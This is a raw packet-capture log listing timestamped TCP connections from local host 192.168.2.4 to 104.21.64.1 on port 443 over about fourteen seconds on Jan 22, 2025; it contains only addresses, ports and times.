Jan 22, 2025 08:36:44.787755966 CET	50069	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:44.787791014 CET	50069	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:44.788002014 CET	50069	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:44.788028002 CET	443	50069	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:44.884589911 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:44.884685040 CET	443	50070	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:44.884809017 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:44.885293961 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:44.885376930 CET	443	50070	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:45.348908901 CET	443	50070	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:45.349145889 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.349509001 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.349536896 CET	443	50070	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:45.349699020 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.349714041 CET	443	50070	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:45.659661055 CET	443	50070	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:45.659733057 CET	443	50070	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:45.659759045 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.659776926 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.660016060 CET	50070	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.660034895 CET	443	50070	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:45.743813038 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.743865967 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:45.743947029 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.744276047 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:45.744292021 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.225497961 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.225595951 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.226156950 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.226170063 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.226418972 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.226423979 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.545906067 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.546016932 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.546077967 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.546117067 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.546147108 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.546365023 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.546365023 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.619004011 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.619102001 CET	443	50072	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.619206905 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.619474888 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.619508982 CET	443	50072	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:46.852634907 CET	50071	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:46.852703094 CET	443	50071	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.099551916 CET	443	50072	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.099632025 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.100452900 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.100481033 CET	443	50072	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.100634098 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.100645065 CET	443	50072	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.212944031 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.213036060 CET	443	50073	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.213177919 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.213469028 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.213510036 CET	443	50073	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.410471916 CET	443	50072	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.410630941 CET	443	50072	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.410662889 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.410721064 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.410859108 CET	50072	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.410923004 CET	443	50072	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.478290081 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.478347063 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.478667021 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.478934050 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.478965044 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.670149088 CET	443	50073	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.670490026 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.670937061 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.670991898 CET	443	50073	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.671071053 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.671084881 CET	443	50073	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.958431959 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.958648920 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.959033012 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.959047079 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:47.959207058 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:47.959213972 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.008018970 CET	443	50073	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.008163929 CET	443	50073	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.008229017 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.008229017 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.008320093 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.008320093 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.008382082 CET	443	50073	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.008460999 CET	50073	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.281177044 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.281280041 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.281311989 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.281358957 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.281364918 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.281411886 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.281833887 CET	50074	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.281860113 CET	443	50074	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.369024992 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.369107962 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.369294882 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.369527102 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.369551897 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.837488890 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.837707996 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.838315964 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.838345051 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:48.838579893 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:48.838620901 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.153465033 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.153563976 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.153623104 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.153662920 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.153692007 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.153727055 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.153971910 CET	50075	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.154002905 CET	443	50075	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.212647915 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.212749004 CET	443	50076	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.213037014 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.213454008 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.213490963 CET	443	50076	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.673629999 CET	443	50076	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.673717976 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.674217939 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.674241066 CET	443	50076	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.674411058 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.674422026 CET	443	50076	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.998796940 CET	443	50076	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.998970032 CET	443	50076	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:49.999118090 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.999119043 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.999300957 CET	50076	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:49.999363899 CET	443	50076	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.056526899 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.056567907 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.056739092 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.057019949 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.057030916 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.522200108 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.522281885 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.522811890 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.522821903 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.523014069 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.523016930 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.847271919 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.847346067 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.847361088 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.847399950 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.847455978 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.847502947 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.847671986 CET	50077	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.847686052 CET	443	50077	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.900258064 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.900321960 CET	443	50078	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:50.900394917 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.900738001 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:50.900758982 CET	443	50078	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:51.385950089 CET	443	50078	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:51.386181116 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.386641979 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.386653900 CET	443	50078	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:51.386888981 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.386893988 CET	443	50078	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:51.713944912 CET	443	50078	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:51.714092970 CET	443	50078	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:51.714145899 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.714183092 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.714360952 CET	50078	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.714379072 CET	443	50078	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:51.761284113 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.761328936 CET	443	50079	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:51.761446953 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.761739969 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:51.761751890 CET	443	50079	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:52.222430944 CET	443	50079	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:52.222569942 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.223292112 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.223303080 CET	443	50079	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:52.223411083 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.223416090 CET	443	50079	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:52.557805061 CET	443	50079	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:52.557992935 CET	443	50079	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:52.558015108 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.558057070 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.558298111 CET	50079	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.558319092 CET	443	50079	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:52.603239059 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.603282928 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:52.603409052 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.603696108 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:52.603715897 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.009995937 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.010094881 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.010253906 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.010704994 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.010742903 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.084316969 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.084427118 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.085139990 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.085149050 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.085393906 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.085397959 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.396096945 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.396181107 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.396195889 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.396243095 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.396275997 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.396328926 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.400315046 CET	50080	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.400331974 CET	443	50080	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.431597948 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.431632996 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.431713104 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.431998968 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.432010889 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.478876114 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.478965998 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.479511976 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.479541063 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.479736090 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.479751110 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.808434010 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.808554888 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.808609009 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.808646917 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.808676958 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.808706045 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.808815956 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.808845997 CET	443	50081	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.808871031 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.808912039 CET	50081	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.900206089 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.900289059 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.901262045 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.901271105 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:53.901529074 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:53.901532888 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.199399948 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.199508905 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.199527025 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.199572086 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.199573040 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.199632883 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.199752092 CET	50082	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.199767113 CET	443	50082	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.228416920 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.228498936 CET	443	50083	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.228728056 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.229038000 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.229077101 CET	443	50083	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.710825920 CET	443	50083	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.711040020 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.711637020 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.711667061 CET	443	50083	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:54.711817980 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:54.711831093 CET	443	50083	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.039953947 CET	443	50083	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.040121078 CET	443	50083	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.040209055 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.040443897 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.040889978 CET	50083	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.040930986 CET	443	50083	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.072336912 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.072385073 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.072590113 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.072978020 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.072999001 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.534925938 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.535048008 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.535619020 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.535645962 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.535780907 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.535789967 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.850694895 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.850828886 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.850851059 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.850883961 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.850920916 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.850936890 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.851095915 CET	50084	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.851111889 CET	443	50084	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.900154114 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.900228024 CET	443	50085	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:55.900341034 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.900710106 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:55.900737047 CET	443	50085	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:56.398036003 CET	443	50085	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:56.398248911 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.398689985 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.398718119 CET	443	50085	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:56.398930073 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.398942947 CET	443	50085	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:56.735390902 CET	443	50085	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:56.735477924 CET	443	50085	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:56.735586882 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.735586882 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.735852957 CET	50085	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.735898972 CET	443	50085	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:56.759685993 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.759738922 CET	443	50086	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:56.759850025 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.760238886 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:56.760286093 CET	443	50086	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:57.247085094 CET	443	50086	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:57.247266054 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.248061895 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.248075962 CET	443	50086	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:57.248550892 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.248555899 CET	443	50086	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:57.588567972 CET	443	50086	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:57.588725090 CET	443	50086	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:57.588783979 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.588784933 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.588913918 CET	50086	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.588943005 CET	443	50086	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:57.621682882 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.621792078 CET	443	50087	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:57.621908903 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.640316010 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:57.640388966 CET	443	50087	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.142128944 CET	443	50087	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.142245054 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.143033028 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.143062115 CET	443	50087	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.143460989 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.143472910 CET	443	50087	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.461420059 CET	443	50087	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.461575031 CET	443	50087	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.461656094 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.461708069 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.462048054 CET	50087	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.462074995 CET	443	50087	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.494105101 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.494154930 CET	443	50088	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.494255066 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.494564056 CET	50088	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.494575024 CET	443	50088	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.822027922 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.822101116 CET	443	50089	104.21.64.1	192.168.2.4
Jan 22, 2025 08:36:58.822200060 CET	50089	443	192.168.2.4	104.21.64.1
Jan 22, 2025 08:36:58.822613001 CET	50089	443	192.168.2.4	104.21.64.1
